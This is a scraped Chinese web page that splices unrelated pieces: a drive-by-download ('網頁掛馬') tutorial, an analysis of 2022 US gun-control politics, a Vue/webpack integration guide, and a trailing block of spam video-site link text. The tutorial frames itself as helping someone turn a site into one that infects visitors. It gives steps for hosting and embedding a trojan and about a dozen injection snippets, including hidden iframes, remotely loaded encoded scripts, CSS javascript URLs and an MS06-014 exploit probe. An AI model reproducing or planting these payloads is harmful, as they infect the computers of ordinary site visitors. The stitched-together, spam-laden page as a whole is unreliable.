整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          網(wǎng)頁掛馬的原理和實現(xiàn)方式,看完這邊文章我就不信你還不

          網(wǎng)頁掛馬的原理和實現(xiàn)方式,看完這邊文章我就不信你還不會

          最近整理了一些奇安信&華為&深信服大佬的課件資料+大廠面試課題,想要的可以私信自取,無償贈送給粉絲朋友~

          網(wǎng)頁掛馬的原理和實現(xiàn)方式

          今天,有一位網(wǎng)友問了我一個問題,他自己已經(jīng)有了網(wǎng)站了,現(xiàn)在他想做成“掛馬”這種網(wǎng)站,只要打開它,電腦就有可能感染木馬病毒。

          木馬是需要觸發(fā)才有效果的,觸發(fā)條件:要么欺騙用戶主動,要么利用漏洞。可能他對木馬、掛馬、網(wǎng)馬這些不是很理解,因此我特意發(fā)了此篇文章。

          一、掛馬、網(wǎng)馬介紹

          1、掛馬

          從“掛馬”這個詞中就知道,它和“木馬”脫離不了關(guān)系,的確,掛馬的目的就是將木馬傳播出去。

          黑客入侵了一些網(wǎng)站之后,將自己編定的網(wǎng)頁木馬嵌入到其網(wǎng)站的頁面(通常是在網(wǎng)站主頁)中,利用該網(wǎng)站的流量將自己的網(wǎng)頁木馬傳播出去從而達到自己的目的。

          2、網(wǎng)馬

          網(wǎng)馬,即“網(wǎng)頁木馬”,就是將木馬和網(wǎng)頁結(jié)合在一起,當打開網(wǎng)頁的時候就會自動下載并運行其木馬程序。

          二、網(wǎng)頁木馬運行原理

          最初的網(wǎng)頁木馬就是利用了IE瀏覽器的ActiveX控件,在運行網(wǎng)頁木馬的時候會彈出一個控件下載提示,只有經(jīng)過用戶確認后才會運行其中的木馬。

          目前新型的木馬通常利用IE瀏覽器存在的漏洞來傳播網(wǎng)頁木馬。

          當然,現(xiàn)在瀏覽器不僅僅是指IE,還有很多其它的瀏覽器,例如:谷歌、百度、360、搜狗、QQ、火狐瀏覽器......等等。

          三、網(wǎng)頁掛馬步驟

          1、申請網(wǎng)站空間:將木馬程序和網(wǎng)馬全部上傳到該網(wǎng)站空間,使其可以被訪問,假如申請成功后的網(wǎng)站空間地址為“http://www.xxx.com/xxx”;

          2、上傳木馬程序:上傳完成后木馬的訪問地址為“http://www.xxx.com/horse.exe”;

          3、使用網(wǎng)頁木馬生成器生成網(wǎng)馬:假如生成后網(wǎng)馬地址為“http://www.xxx.com/horse.htm”;

          4、進行掛馬:將生成后的網(wǎng)馬地址嵌入到其他正常的網(wǎng)站頁面,假如嵌入到騰訊的主頁“http://www.qq.com/index.htm”;

          四、網(wǎng)頁掛馬的實現(xiàn)方式

          1、框架掛馬

          <iframe src=地址 width=0 height=0></iframe>

          2、JS文件掛馬

          首先將以下代碼:

          document.write("<iframe width='0' height='0' src='地址'></iframe>");

          保存為xxx.js。

          則JS掛馬代碼為:

          <script language=javascript src=xxx.js></script>

          3、JS變形加密

          <SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>

          muma.txt可改成任意后綴;

          4、body掛馬

          <body onload="window.location='地址';"></body>

          5、隱蔽掛馬

          top.document.body.innerHTML=top.document.body.innerHTML + '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

          6、css掛馬

          body {
          background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

          7、JAJA掛馬

          <SCRIPT language=javascript>
          window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
          </script>

          8、圖片偽裝

          <html>
          <iframe src="網(wǎng)馬地址" height=0 width=0></iframe>
          <img src="圖片地址"></center>
          </html>

          9、偽裝調(diào)用

          <frameset rows="444,0" cols="*">
          <frame src="打開網(wǎng)頁" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
          <frame src="網(wǎng)馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
          </frameset>

          10、高級欺騙

          <a href="http://www.163.com(迷惑連接地址,顯示這個地址指向木馬地址)" onMouseOver="www_163_com(); return true;"> 頁面要顯示的內(nèi)容 </a>
          <SCRIPT Language="JavaScript">
          function www_163_com ()
          {
          var url="網(wǎng)馬地址";
          open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
          }
          </SCRIPT>

          11、判斷系統(tǒng)代碼

          <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
          <HTML><HEAD><TITLE>404</TITLE>
          <META http-equiv=Content-Type content="text/html; charset=windows-1252">
          <META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
          <BODY>
          <SCRIPT language=javascript>
          window.status="";
          if(navigator.userAgent.indexOf("Windows NT 5.1") !=-1)
          window.location.href="tk.htm";
          else
          window.location.href="upx06014.htm";
          </SCRIPT>
          </BODY></HTML>

          12、判斷是否有ms06014代碼

          <script language=VBScript>
          on error resume next
          set server=document.createElement("object")
          server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
          set File=server.createobject(Adodb.Stream,"")
          if Not Err.Number=0 then
          err.clear
          document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
          else
          document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
          end if
          </script>

          13、智能讀取js的代碼demo

          //讀娶src的對象
          var v=document.getElementById("advjs");
          //讀娶src的參數(shù)
          var u_num=getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
          document.write("<iframe src=\"https://www.fujieace.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
          document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
          document.writeln("<HTML><HEAD>");
          document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
          document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
          document.writeln("<BODY> ");
          document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
          document.writeln("<DIV ");
          document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
          //分析src的參數(shù)函數(shù)
          function getUrlParameterAdv(asName,lsURL){
          loU=lsURL.split("?");
          if (loU.length>1){
          var loallPm=loU[1].split("&");
          for (var i=0; i<loallPm.length; i++){
          var loPm=loallPm.split("=");
          if (loPm[0]==asName){
          if (loPm.length>1){
          return loPm[1];
          }else{
          return "";
          }
          }
          }
          }
          return null; 

          文章來源公眾號:程哥講安全

          者簡介

          瞿嘉露

          南京大學-約翰霍普金斯大學雙碩士項目碩士研究生

          海國圖智研究院研究助理

          美國近期槍擊案的頻發(fā)引起了政界的相關(guān)反應(yīng),6月23日,眾議院以壓倒性多數(shù)通過了《兩黨更安全社區(qū)法案》(Bipartisan Safer Communities Act),6月25日,拜登簽署了這一法案,被認為是30年來槍支暴力立法的最大突破。但與此同時,最高法院通過裁決推翻了紐約州限制公共槍支的法律,在事實上進一步擴大了公民的持槍權(quán)利,迫使傾向于控槍的各州修改法律以符合憲法規(guī)定。本文希望對眾議院和最高法院的不同態(tài)度進行梳理,分析當下的控槍議程是如何被共和黨人塑造的,分析未來控槍還將面臨哪些困難。

          圖源:FindLaw.com


          一、罕見的共識:眾議院如何通過控槍法案?

          事實上,遏制槍支暴力是民主黨人一以貫之的主張。而此次出乎意料的兩黨共識達成,一方面是因為民主黨人對管控槍支方案做出讓步,另一方面也離不開參議院共和黨人的支持。

          在今年6月初,拜登發(fā)表了關(guān)于阻止大規(guī)模槍擊事件的演講,他呼吁延長2004年到期的聯(lián)邦攻擊性武器禁令,大幅擴大聯(lián)邦對槍支購買者進行背景調(diào)查,并取消槍支行業(yè)的訴訟豁免權(quán)。如果參照這種高標準的期待,民主黨談判代表墨菲(Chris Murphy)認為,兩黨很難就拜登的法案達成共識。但為了促使“事情朝著更好的方向發(fā)展”,最終法案中包含的控槍條款在實際上做出了一些讓步,規(guī)定遠未達到拜登的預期。比如,它沒有提高購買AR-15的年齡,對大容量彈匣設(shè)置新的限制,或?qū)嵤┢毡榈谋尘罢{(diào)查。

          對于共和黨人而言,雖然他們主要反對槍支安全立法,但他們不希望在槍擊事件發(fā)生后顯得毫無反應(yīng)。許多人表示支持新的心理健康計劃或“強化”國家學校作為對槍支采取行動的替代方案。而此次法案通過與參議院共和黨領(lǐng)袖米奇·麥康奈爾(Mitch McConnell)的積極表態(tài)關(guān)系緊密。麥康奈爾表示,他希望雙方在紐約布法羅發(fā)生大規(guī)模槍擊事件后能找到共同點,希望參議院法案在保障第二修正案和學生的人身安全之間找到平衡。這一支持表態(tài)背后包含了幾點考量,首先是對當前民意的考慮,使今年希望獲得郊區(qū)支持的共和黨人做出讓步。6月的CBS新聞民意調(diào)查中,只有四分之一的女性和白人大學畢業(yè)生表示槍支法律應(yīng)該保持不變,現(xiàn)狀對選民并無吸引力。其次是麥康奈爾個人希望參議院可以遵守60票阻撓議案規(guī)則。最后,由于MAGA問題,共和黨人在每一個問題上都被描繪成極端分子。與已經(jīng)取得進展的墮胎議題相比,槍支問題的談判空間更大。因此,控槍法案雖然獲得了兩黨參議院領(lǐng)袖的共同支持,但實際上都未完全符合雙方的預期。

          圖為共和黨槍支安全立法首席談判代表參議員約翰·科寧 (R-Tex.) 向新聞媒體成員發(fā)表講話

          圖源:The Washington Post

          在這樣的談判背景下,法案即使被稱為是30年來槍支暴力立法的最大突破,但注定只能是一個溫和的進步。法案主要實現(xiàn)了三個進展,一是背景調(diào)查方面,針對18至20歲的槍支購買者,將對青少年記錄進行調(diào)查,同時將購買半自動武器的最低年齡從18歲提高到21歲,并禁止民用超過15發(fā)子彈的彈匣。此外,禁止向被判虐待未婚親密伴侶的人出售槍支,并嚴厲打擊向被判犯有家庭暴力罪的購買者出售槍支的行為,試圖堵上“男友漏洞”(boyfriend loophole)。二是將向各州提供資金,以實施危險信號法(red flag laws),從而更容易從被認為具有暴力傾向的人手中拿走槍支。三是加強學校安全和心理健康計劃,為學校的安保措施、行為健康診所和學校心理健康計劃提供了數(shù)十億美元的資金支持。

          作為三年來第一次重大的聯(lián)邦槍支改革,該法案取得的進步不言而喻,但除此之外,該協(xié)議的政治意義在于,法案的通過讓兩黨領(lǐng)導人宣布勝利,并向選民證明他們知道如何讓政府運作,同時也為雙方留出空間來吸引其核心支持者。但根據(jù)目前情況來看,共和黨正逐漸塑造著當前的控槍議程,這一點在最高法院對紐約州步槍和手槍協(xié)會訴布魯恩案(New York State Rifle & Pistol Association v. Bruen)的裁決中體現(xiàn)得尤為明顯。

          圖為拜登簽署法案 圖源:NPR

          二、傾斜的天平:最高法院如何影響控槍進程?

          最高法院的意識形態(tài)失衡已在實踐中成為不爭的事實,因此,對于共和黨而言,一方面可以通過在參議院不斷投反對票來阻撓民主黨控槍議程的推進。另一方面,最高法院幾位相對年輕的保守派大法官的意見也將對一定程度上追隨共和黨表態(tài),對控槍問題產(chǎn)生深遠影響。

          在日趨極化的參議院中,任何一方希望獲得進展都必然會面臨另一方的制衡。當前控槍議程主動權(quán)逐漸發(fā)生改變的原因在于:民主黨一貫主張的高標準無法實現(xiàn),而共和黨只需對過往反對控槍的政策進行部分調(diào)整,就可以迫使民主黨與其達成共識,從而贏得選民支持。大規(guī)模槍擊事件后進行的調(diào)查經(jīng)常顯示強烈支持更嚴格的槍支法律,根據(jù)5月CBS新聞的一項民意調(diào)查,54%的人希望出臺更嚴格的法律。共和黨此次的讓步正是出于對這種呼聲的適度回應(yīng)。同時,表明支持控槍的態(tài)度也可以為競選的共和黨人帶來好處。西弗吉尼亞州的雪萊·摩爾·卡皮托 (Shelley Moore Capito)是出人意料地投贊成票的共和黨人之一,考慮到她所在州的民主黨議員喬·曼欽 (Joe Manchin) 在審議期間表現(xiàn)出對控槍法案的支持,在這次投票中她改變了之前的立場、懷俄明州共和黨眾議員利茲切尼(Liz Cheney)在8月份面臨激烈的初選挑戰(zhàn),支持控槍措施為其贏得了民主黨選民的支持。同時,麥康奈爾表示,與民主黨達成共識是一項“讓美國更安全”的交易,并希望這將幫助共和黨贏得“我們需要的郊區(qū)選民的善意,希望明年重新成為多數(shù)”。

          圖源:Reuters

          對于最高法院而言,近來的兩個重磅判決無疑形成了對共和黨的“聲援”。關(guān)于控槍問題,一是取消了紐約州對在家外攜帶隱藏手槍的限制。最高法院認定,該法于1913年頒布,違反了第二修正案規(guī)定的個人“持有和攜帶武器”的權(quán)利。同時認為,法院在評估法規(guī)在美國憲法第二修正案下是否有效時,需要參照美國歷史上采用的傳統(tǒng)限制。二是駁回了一項下級法院的裁決,事實上推翻了夏威夷對在公共場合公開攜帶槍支的限制的合憲性。這樣的裁決可能會導致法院在全國范圍內(nèi)取消更多的槍支限制,包括是否取消馬里蘭州對軍用突擊步槍的禁令、新澤西州和加利福尼亞州關(guān)于攜帶槍支彈匣的禁令等等。而另一項裁決則是關(guān)于女性墮胎權(quán)利。6月24日,最高法院以6比3的多數(shù)決定維持密西西比州對懷孕15周后的墮胎禁令。在此過程中,多數(shù)意見推翻了保護墮胎機會的兩項關(guān)鍵決定:1973年的羅伊訴韋德案(Roe v. Wade)和1992年的凱西案(Planned Parenthood v. Casey)。關(guān)于控槍和墮胎這兩個敏感議題的裁決,進一步表明最高法院正逐漸喪失其獨立性,卷入政治極化的漩渦中。

          關(guān)于控槍問題的判決將在事實上擴大公民持槍的權(quán)利,與兩黨相互妥協(xié)達成的共識相比,法院裁決的影響更為深遠持久。事實上,法院多年來拒絕了諸多有關(guān)第二修正案的案件的上訴。而下級法院普遍支持槍支管制法。此次裁決延續(xù)了擴大槍支權(quán)利的穩(wěn)定裁決模式,認為在家中和公共場所攜帶槍支的權(quán)利受到美國憲法第二修正案的保障。在諸多訴訟的堆積下,未來的最高法院法官將越來越難以改變路線,并將憲法解釋為允許更廣泛的槍支限制。

          圖源:BBC

          三、黯淡的前景,控槍的未來

          當前,這份已經(jīng)簽署生效的法案仍面臨著諸多阻礙,其中最明顯的就是國會。盡管這項法案的通過已經(jīng)是一個明顯的突破,但參議院50名共和黨參議員中只有大約三分之一支持這項措施,而且共和黨在眾議院的堅決反對是肯定的。11月的中期選舉后,兩院極有可能由共和黨管理,將為控槍議程帶來諸多不確定性的影響。

          該法案在各州的執(zhí)行同樣面臨困難:在許多共和黨控制的州,槍支問題的勢頭是減少監(jiān)管。今年4月,佐治亞州成為第25個允許居民在沒有政府執(zhí)照的情況下攜帶手槍的州,其余24個州均為共和黨主導。關(guān)于法案中的相關(guān)條款,能否取得成效也值得懷疑。霍普金斯槍支暴力解決方案中心的律師麥考特(Alex McCourt)認為,頒布參議院法案可能在短期內(nèi)對槍支暴力的影響有限。一是針對心理健康提供更多資金的效果并不確定。二是由于擔心新的限制措施,槍支購買量通常會在大規(guī)模槍擊事件后飆升,而近期法案通過也可能同樣推動銷售。三是法案的強制力有限,并不能保證各州會真正采用該法案鼓勵的危險信號法。

          控槍問題背后是歷史、文化交織導致的復雜成因。同時,受新冠疫情帶來的負面影響,個體的心理因素也將在客觀上使得持槍暴力案件概率增加。此外,在國會、最高法院逐漸表露傾向時,民間團體也成為了阻礙控槍的一大重要因素。美國最大的槍支擁有者組織全國步槍協(xié)會(NRA)是其典型。2020年,NRA的開支高達2.5億美元,遠超美國所有槍支管制倡導團體的總和。同時,NRA的成員人數(shù)比這些團體中的任何一個都多,并將其資金用于槍支射程和教育計劃等事情,每年正式花費約300萬美元。在法案尚未被通過時,NRA就已經(jīng)在德州組織了兩次大規(guī)模抗議行動。考慮到其影響力,共和黨主導下的政府通常不會出臺較為激進的控槍政策。

          總的來看,在控槍議程這一兩黨博弈的戰(zhàn)場上,共和黨擁有更多籌碼。在民主黨無法解決中期選舉困境的情況下,加上趨于保守的最高法院,法案的提出確實是近年來美國控槍問題的歷史性的高光時刻,但之后面臨的,更有可能是黯淡與不確定的未來。

          參考文獻

          [1]BBC. (2022, June 17). Republican senate gun negotiator walks out of talks. BBC News. Retrieved July 7, 2022, from https://www.bbc.com/news/world-us-canada-61835918

          [2]Debusman, B. (2022, June 24). Supreme Court ruling expands US gun rights. BBC News. Retrieved July 7, 2022, from https://www.bbc.com/news/world-us-canada-61915237

          [3]Foran, C., Zaslav, A., Fox, L., & Barrett, T. (2022, June 24). Senate passes first major Federal Gun Safety legislation in decades. CNN. Retrieved July 7, 2022, from https://www.cnn.com/2022/06/23/politics/senate-bipartisan-gun-bill/index.html

          [4]Fram, A. (2022, June 23). Watch: Senate debates New gun bill in wake of mass shootings. PBS. Retrieved July 7, 2022, from https://www.pbs.org/newshour/politics/watch-live-senate-expected-to-debate-new-gun-bill-in-wake-of-mass-shootings

          [5]Gresko, J. (2022, June 24). After Supreme Court gun decision, what's next? AP NEWS. Retrieved July 7, 2022, from https://apnews.com/article/supreme-court-guns-decision-what-to-know-a068d964981b6d1242a5ab124224f77a

          [6]Guardian News and Media. (2022, June 24). Senate breakthrough clears way for toughening US gun laws. The Guardian. Retrieved July 7, 2022, from https://www.theguardian.com/us-news/2022/jun/24/senate-breakthrough-clears-way-for-toughening-us-gun-laws

          [7]King, C. I. (2022, June 24). The Supreme Court found a way to make our gun problem worse. The Washington Post. Retrieved July 7, 2022, from https://www.washingtonpost.com/opinions/2022/06/24/supreme-court-concealed-carry-ruling-makes-gun-problem-worse/

          [8]Lai, S., & Cochrane, E. (2022, June 23). Here's what is in the Senate's gun bill - and what was left out. The New York Times. Retrieved July 7, 2022, from https://www.nytimes.com/2022/06/23/us/politics/senate-gun-bill.html?name=styln-gun-control?ion=TOP_BANNER&block=storyline_menu_recirc&action=click&pgtype=Article&variant=show&is_new=false

          [9]Liptak, A. (2022, June 23). Supreme Court strikes down New York law limiting guns in public. The New York Times. Retrieved July 7, 2022, from https://www.nytimes.com/2022/06/23/us/supreme-court-ny-open-carry-gun-law.html

          [10]McClain & Huberfeld. (2022, June 27). Roe overturned: What you need to know about the Supreme Court Abortion Decision. The Conversation. Retrieved July 7, 2022, from https://theconversation.com/roe-overturned-what-you-need-to-know-about-the-supreme-court-abortion-decision-184692

          [11]Mcdermott, J. (2022, June 24). States brace for fight over gun laws after High Court ruling. AP NEWS. Retrieved July 7, 2022, from https://apnews.com/article/us-supreme-court-new-york-jersey-gun-politics-government-and-24a6a82ea365212ecaa7af71f9c72561

          [12]Douglas R. Murray, Handguns, Gun Control Laws and Firearm Violence, Social Problems, Volume 23, Issue 1, 1 October 1975, Pages 81–93, https://doi-org-443.e2.buaa.edu.cn/10.2307/799630

          [13]Person, & Chung, A. (2022, June 30). U.S. Supreme Court throws out rulings upholding gun restrictions. Reuters. Retrieved July 7, 2022, from https://www.reuters.com/world/us/us-supreme-court-orders-lower-courts-reconsider-gun-law-challenges-2022-06-30/

          [14]Pros &Cons . Gun Control. (2022, January 26). Retrieved July 7, 2022, from https://gun-control.procon.org/

          [15]Sullivan, A., & Cowan, R. (2022, June 7). U.S. senate Democrats say getting closer to gun-violence compromise. Reuters. Retrieved July 7, 2022, from https://www.reuters.com/world/us/schumer-gives-more-time-us-senate-gun-legislation-talks-2022-06-07/

          [16]Thomsen, I. (2022, May 26). America mourns another school shooting. why is it so difficult to strengthen US gun laws? News @ Northeastern. Retrieved July 7, 2022, from https://news.northeastern.edu/2022/05/25/us-gun-laws-texas-school-shooting/

          本文作者:瞿嘉露

          本文審校:葛健豪

          原標題:困難重重:眾議院通過法案后,控槍還面臨哪些困難?

          本文選自《美國政治追蹤》,轉(zhuǎn)載請注明出處

          《美國政治追蹤》是由海國圖智研究院在2018年12月對《中美關(guān)系每日速遞》改版后獨家推出的美國研究刊物,通過對白宮內(nèi)部動態(tài)、黨派競爭動向、美國各州情況及中美關(guān)系發(fā)展趨勢等問題的梳理和跟進,保持對美國內(nèi)政的持續(xù)關(guān)注,并配合之后的大選預測。

          獲取更多內(nèi)容,歡迎關(guān)注海國圖智研究院

          明,項目本身使用jquery和bootstrap做的管理后臺,部分登錄接口跑在node服務(wù)端,大部分接口使用springmvc實現(xiàn)。現(xiàn)在,使用vue開發(fā),集成vue到原先的項目中。不影響原先的框架。原來的打包方式是使用fis打包,集成vue之后,先用webpack打包,再用fis打包。互不影響。

          1. 由于原先使用jquery和bootstrap,所以package.json文件夾下面沒有數(shù)據(jù)。使用vue的時候,需要的依賴全部放到package.json下,添加如下依賴:

          {

          "name": "node",

          "version": "0.0.1",

          "private": true,

          "scripts": {

          "start": "supervisor start.js"

          },

          "dependencies": {

          "babel-core": "^6.0.0",

          "babel-loader": "^6.0.0",

          "babel-preset-es2015": "^6.13.2",

          "cross-env": "^1.0.6",

          "css-loader": "^0.23.1",

          "file-loader": "^0.8.5",

          "style-loader": "^0.13.1",

          "vue": "^2.1.6",

          "vue-hot-reload-api": "^2.1.0",

          "vue-loader": "^9.8.0",

          "vuerify": "^0.4.0",

          "webpack": "beta",

          "webpack-dev-server": "beta"

          },

          "devDependencies": {

          "babel-plugin-component": "^0.9.1"

          }

          }

          說明:原先使用jquery的時候,使用的supervisor 來進行熱加載。這些依賴安裝后會在本地node_modules目下,建議添加下gitIgnoreexclude該文件夾。前者是為了防止git提交代碼的時候把這些lib提交上去后者是為了防止IDE使用index索引這些文件,會很卡。

          這里已經(jīng)exclude了所以顯示not exclude

          .gitignore文件添加:

          接下來就是進入到package.json所在目錄運行npm install,安裝所有依賴項。

          2. 新建webpack.config.js文件(webpack打包使用),文件內(nèi)容如下:

          module.exports={

          entry: './project/ebook-manage/resources/node-ebook-manage/js/console/content/rechargeOrder.js',

          output: {

          filename: './project/ebook-manage/resources/node-ebook-manage/js/console/dist/rechargeOrder-bundle.js'

          },

          module: {

          loaders:[

          {

          test: /\.vue$/,

          loader: 'vue-loader'

          },

          {

          test: /\.js$/,

          loader: 'babel-loader',

          exclude: /node_modules/

          },

          {

          test: /\.css$/,

          loader: 'style-loader!css-loader'

          },

          {

          test: /\.(eot|svg|ttf|woff|woff2)(\?\S*)?$/,

          loader: 'file-loader'

          },

          {

          test: /\.(png|jpe?g|gif|svg)(\?\S*)?$/,

          loader: 'file-loader',

          query: {

          name: '[name].[ext]?[hash]'

          }

          }

          ]

          },

          resolve: {

          alias: {

          'vue': 'vue/dist/vue.js'

          }

          },

          };

          說明:以上是表示將rechargeOrder.js文件打包成rechargeOrder-bundle.js文件,使用vue等loader(具體知識請看[webpack](http://webpack.github.io/))

          3. 原先jquery的是是在html中引入js的,現(xiàn)在我們?nèi)匀贿@么做。如下所示

          其中bundle.js是webpack打包之后的文件,并不是源文件

          4. 寫一個rechargeOrder.js文件,引用vue,代碼如下:

          import Vue from 'vue'

          new Vue({

          el: "#secondFram",

          data: {

          userId:""

          },

          components: {},

          filters: {},

          beforeMount:function () {

          },

          methods: {

          buttonClick1() {

          this.getOrders()

          }

          },

          computed: {

          }

          });

          其中secondFram是在html中的一個id為secondFram的div

          5. 在html中寫一個button`<button type="primary" style="margin-right: 10px;float: right" @click="buttonClick1">查詢</button>`

          6. 萬事俱備,只欠······webpack打包,在webpack.config.js目錄,使用webpack webpack.config.js命令,打包后會生成一個rechargeOrder-bundle.js文件。就像之前引用js文件一樣,只不過現(xiàn)在引用的是webpack打包后的使用vue編寫的經(jīng)過webpack處理的瀏覽器能識別的js。

          7. 原先的項目使用fis打包,現(xiàn)在還是用fis打包,沒有任何影響。這就是如何集成vue到已有的jquery項目。部分人使用jquery開發(fā)部分人使用vue開發(fā),沒有影響。


          主站蜘蛛池模板: 成人国产精品一区二区网站| 中文字幕一区二区在线播放| 亚洲成av人片一区二区三区| 免费一区二区三区| 一区二区三区观看免费中文视频在线播放| 亚洲熟妇成人精品一区| 亚洲日本一区二区| 在线视频一区二区三区三区不卡| 国产视频福利一区| 成人h动漫精品一区二区无码| 国产电影一区二区| 精品无码国产一区二区三区AV | 香蕉在线精品一区二区| 国产激情一区二区三区小说| 99久久精品日本一区二区免费| 久久婷婷久久一区二区三区| 中文日韩字幕一区在线观看| 国产成人精品a视频一区| 一区二区日韩国产精品| 精品不卡一区中文字幕| 日韩精品无码久久一区二区三| 日韩一区二区在线免费观看| 国产精品久久久久一区二区| 精品国产福利在线观看一区| 日本一区二区三区日本免费| 国产精品一区二区毛卡片| 午夜一区二区在线观看| 暖暖免费高清日本一区二区三区 | 亚洲视频一区二区三区四区| 亚洲AV无码一区二区二三区软件| 亚洲国产精品一区二区成人片国内 | 中文字幕无码一区二区免费 | 无码日韩精品一区二区免费暖暖| 国产一区二区三区高清在线观看| 亚洲色精品vr一区二区三区| 日韩精品乱码AV一区二区| 亚洲一区二区三区丝袜| 日韩一区二区三区在线观看| 国产精品亚洲不卡一区二区三区| 国产日韩一区二区三免费高清 | 亚洲一区中文字幕在线观看|